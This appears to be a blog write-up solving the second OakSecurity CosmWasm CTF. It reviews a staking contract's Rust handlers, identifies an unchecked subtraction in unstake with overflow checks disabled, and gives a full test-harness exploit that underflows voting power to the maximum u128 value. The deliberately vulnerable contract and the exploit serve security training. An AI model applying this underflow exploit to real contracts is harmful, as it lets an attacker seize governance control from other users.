In this article, we will solve the second Cosmwasm CTF from OakSecurity

First, I highly recommend reading the first article in this series. Because It shows how to get started, and also explains some of the syntax we won't always be going through; to avoid repetition.

This protocol allows users to deposit funds, and then stake them to get voting power in a 1:1 ratio

Our goal here is to obtain an unfair amount of voting power.

So after you clone the CTF, open the src/msg.rs file to check what messages we can send.

Instantiate Message

pub struct InstantiateMsg {}

Just an empty struct. So to initialize this contract, we don't need to send any parameters.

Execute Message

pub enum ExecuteMsg {
    Deposit {},
    Withdraw { amount: Uint128 },
    Stake { lock_amount: u128 },
    Unstake { unlock_amount: u128 },
}

Okay, so here we have 4 different actions we could perform.

1 - Deposit{} It seems this is for depositing native tokens into the contract since it doesn't take any parameters.

2 - Withdraw {amount:Uint128} For withdrawing an amount provided by the user.

3 - Stake { lock_amount: u128 } For locking an amount. Probably after depositing first.

4 - Unstake { unlock_amount: u128 } For unlocking an amount.

So, Let's map out the sequence of actions we can take. Notice that we haven't read the code yet, but I find that formulating an expectation of what messages should be called is always helpful.

Deposit{} --> Withdraw {amount:Uint128}
Deposit{} --> Stake { lock_amount: u128 } -->
Unstake { unlock_amount: u128 } --> Unstake { unlock_amount: u128 }

So, according to our assumption, the very first thing to do is to deposit...duh!

Let's look at the storage, open src/state.rs :

pub struct UserInfo {
    pub total_tokens: Uint128,
    pub voting_power: u128,
    pub released_time: Timestamp,
}
pub const VOTING_POWER: Map<&Addr, UserInfo> = Map::new("voting_power");

We have a struct UserInfo that contains information about a given user. The naming here is not the most accurate thing though.

total_tokens is the total amount of tokens deposited.

voting_power is the total amount of tokens staked.

released_time the timestamp to release the lock.

The VOTING_POWER maps an address to a UserInfo struct, to keep track of each user's information.

Now, let's open src/contract.rs and check the handlers. I will explain with inline comments.

Deposit

pub fn deposit(deps: DepsMut, info: MessageInfo) -> Result<Response, ContractError> {
    // verifying that the a non-zero amount was send
    // with the required DENOM
    let amount = must_pay(&info, DENOM).unwrap();
    // gets the user information from VOTING_POWER
    // by using the caller's address (info.sender) 
    let mut user = VOTING_POWER
        .load(deps.storage, &info.sender)
        .unwrap_or_default();
    // increments the total amount of tokens
    user.total_tokens += amount;
    // save the update VOTING_POWER
    VOTING_POWER
        .save(deps.storage, &info.sender, &user)
        .unwrap();
    // emit the needed attributes
    Ok(Response::new()
        .add_attribute("action", "deposit")
        .add_attribute("user", info.sender)
        .add_attribute("amount", amount))
}

Stake

pub fn stake(
    deps: DepsMut,
    env: Env,
    info: MessageInfo,
    lock_amount: u128,
) -> Result<Response, ContractError> {

    // get's the user information
    let mut user = VOTING_POWER.load(deps.storage, &info.sender).unwrap();
    // lock the specified amount
    user.voting_power += lock_amount;
    // here, we check if the current locked amount
    // is greater than the total deposited tokens
    // because this will mean that the user staked
    // more tokens than they actually depsoited.
    // in that case, we return an error
    if user.voting_power > user.total_tokens.u128() {
        return Err(ContractError::Unauthorized {});
    }
    // set the release timestamp
    user.released_time = env.block.time.plus_seconds(LOCK_PERIOD);
    // save the new user information
    VOTING_POWER
        .save(deps.storage, &info.sender, &user)
        .unwrap();

    Ok(Response::new()
        .add_attribute("action", "stake")
        .add_attribute("lock_amount", lock_amount.to_string())
        .add_attribute("user.voting_power", user.voting_power.to_string()))
}

Withdraw

pub fn withdraw(
    deps: DepsMut,
    info: MessageInfo,
    amount: Uint128,
) -> Result<Response, ContractError> {
    // gets the user information
    let mut user = VOTING_POWER.load(deps.storage, &info.sender).unwrap();
    // decrement the amount
    user.total_tokens -= amount;
    // We check if the total_tokens after withdrawl
    // drops below the voting power. Remeber that the voting_power
    // is essentially a locked amount of tokens that the user
    // cannot withdraw from. So if the total_tokens
    // drops below voting_power, it means the user withdrew
    // from the locked amount. In that case we error and revert.

    // for example, Suppose a user deposited 200 tokens
    // and staked 100 tokens. This means you have 200 - 100 = 100
    // tokens that are free and can be withdrawn.
    // but if the user attempts to withdraw 101 tokens
    // then they MUST withdraw that 1 token from the locked amount
    // which is not allowed.
    if user.total_tokens.u128() < user.voting_power {
        return Err(ContractError::Unauthorized {});
    }

    // finally, we save the new user information.
    VOTING_POWER
        .save(deps.storage, &info.sender, &user)
        .unwrap();
    // we send the amount of tokens amount using a BankMsg.
    // because we are dealing with native tokens
    let msg = BankMsg::Send {
        to_address: info.sender.to_string(),
        amount: vec![coin(amount.u128(), DENOM)],
    };
    // finally, we emit the attributes and add
    // our message
    Ok(Response::new()
        .add_attribute("action", "withdraw")
        .add_attribute("user", info.sender)
        .add_attribute("amount", amount)
        .add_message(msg))
}

Unstake

pub fn unstake(
    deps: DepsMut,
    env: Env,
    info: MessageInfo,
    unlock_amount: u128,
) -> Result<Response, ContractError> {
    // get the user information
    let mut user = VOTING_POWER.load(deps.storage, &info.sender).unwrap();
    // check if the lock expired    
    if env.block.time < user.released_time {
        return Err(ContractError::Unauthorized {});
    }
    // realse the unlock_amount
    user.voting_power -= unlock_amount;
    // update the voting power
    VOTING_POWER
        .save(deps.storage, &info.sender, &user)
        .unwrap();
    // finally, emit the events.
    Ok(Response::new()
        .add_attribute("action", "unstake")
        .add_attribute("unlock_amount", unlock_amount.to_string())
        .add_attribute("user.voting_power", user.voting_power.to_string()))
}

That's it for the four handlers.

The Exploit

Notice how in unstake , there is no check that the user-supplied amount is less than the actual balance


pub fn unstake(
    deps: DepsMut,
    env: Env,
    info: MessageInfo,
    unlock_amount: u128,
) -> Result<Response, ContractError> {
    ...
    // !!!!! NOT CHECKING IF THE USER HAS VOTING POWER !!!!!!
    user.voting_power -= unlock_amount;
    ...
}

By default, Rust prevents arithmetic overflow on integers, but if we check the cargo.toml file, we see the following:

[profile.release]
....
overflow-checks = false // -> disabled checks for overflows

This means that our code is vulnerable to overflows! So here is what we want to do :

We call deposit -> stake and then unstake with an amount greater than our lock, and underflow the voting_power value.

The Attack

We first deposit an amount, then stake , and finally call unstake with an amount greater than what we staked to get the maximum voting power

fn exploit() {
        // we use the init function provided
        let (mut app,contract_addr) = proper_instantiate();
        // create attacker address
        let attacker = Addr::unchecked("attacker");
        // create the amount to deposit
        let amount = Uint128::new(100);
        // mint tokens to the attacker
        app = mint_tokens(app, attacker.to_string(), amount);

        // execute the deposit message
        // notice that we pass the amount as native coins
        // by passing coin(amount.u128(),DENOM) in the `funds` field
        app.execute_contract(
            attacker.clone(),
            contract_addr.clone(),
            &ExecuteMsg::Deposit {  } ,
            &[coin(amount.u128(),DENOM)],
        )
        .unwrap();

        // execute the stake message with all of our amount
        app.execute_contract(
            attacker.clone(),
            contract_addr.clone(),
            &ExecuteMsg::Stake { lock_amount: amount.u128()} ,
            &[],
        )
        .unwrap();

        // fast the time forward
        app.update_block(|block| {
            block.time = block.time.plus_seconds(LOCK_PERIOD);
        });

        // attempt to unstake 101 tokens, we staked only 100
        // so this should underflow
        app.execute_contract(
            attacker.clone(),
            contract_addr.clone(),
            &ExecuteMsg::Unstake { unlock_amount: amount.u128() + 1 },
            &[],
        )
        .unwrap();
        // we create a query message to query voting power
        let query_msg = QueryMsg::GetVotingPower { user: attacker.to_string() };
        // we send the query message    
        let voting_power:u128 = app.wrap().query_wasm_smart(contract_addr, &query_msg).unwrap();
        // finally, we assert that our voting_power is the maximum
        // uint128 value
        assert_eq!(voting_power,Uint128::MAX.u128());
    }

To run this test, we need to use the release mode. Here is the command:
cargo test --release exploit

That was a fun one! Let me know if you have any questions!

CosmWasm Underflow: Unlimited Voting Power